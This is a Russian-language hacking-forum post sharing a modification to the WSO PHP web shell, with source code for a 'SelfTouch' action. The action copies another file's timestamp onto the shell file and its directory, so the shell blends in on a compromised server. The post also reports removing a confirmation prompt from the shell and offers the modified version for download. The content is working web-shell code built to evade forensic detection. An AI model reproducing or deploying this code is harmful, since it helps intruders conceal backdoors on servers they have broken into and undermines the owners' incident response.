Показать сообщение отдельно
Старый 07.11.2014, 19:37   #201
omen666
 
Регистрация: 06.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

вобщем, удалил строки, которые отвечают за диалог Really want to touch the shell?, оно не в тему! Это ж не удаление шелла все-таки.

[скачать]

Как сделать самому?

ln 262
PHP код:
...
$m['Self touch'] = 'SelfTouch';
... 
ln 1043
PHP код:
...
function 
actionSelfTouch() {
    
wsoHeader();
    
$all_f wsoScandir($GLOBALS['cwd']);    
    unset(
$all_f[array_search(basename(__FILE__),$all_f)]);
    echo 
'<h1>Touch like</h1><div class=content>';
    echo 
'<form name=f_touch method=post>';
    echo 
'<pre><label><input type=checkbox name=tparent id=tparent><span style="margin-left: 3px;">Touch shell\'s directory</span></label></pre>';
    echo 
"<pre><input onclick=\"g('SelfTouch',null,f_touch.timestamp.value,document.getElementById('tparent').checked)\" type=button value='Touch!'></pre>";
    if(
$_POST['p1']) {
        if(@
touch(__FILE__$_POST['p1'], $_POST['p1'])) {
            echo(
'<p>Shell has been touched</p>');
            if(
$_POST['p2'] == 'true') {
                @
touch(dirname(__FILE__), $_POST['p1'], $_POST['p1']);
                echo(
'<p>Shell\'s directory has been touched</p>');                
            }
        }
        else {
            echo 
'<h1>Touch</h1><div class=content>Touch error!</div>';
        }
    }
    foreach (
$all_f as $some_f) {    
        
$some_f_t filectime($some_f);
        echo 
"<pre><label><input type=radio name='timestamp' value='$some_f_t'> " '<b>' $some_f '</b>' ' - ' date("F d Y H:i:s.",filectime($some_f)) . "</label></pre>";
    }
    echo 
'</form>';
    echo 
'</div>';    
    
wsoFooter();
}
... 

Последний раз редактировалось omen666; 08.11.2014 в 08:56..
omen666 вне форума   Ответить с цитированием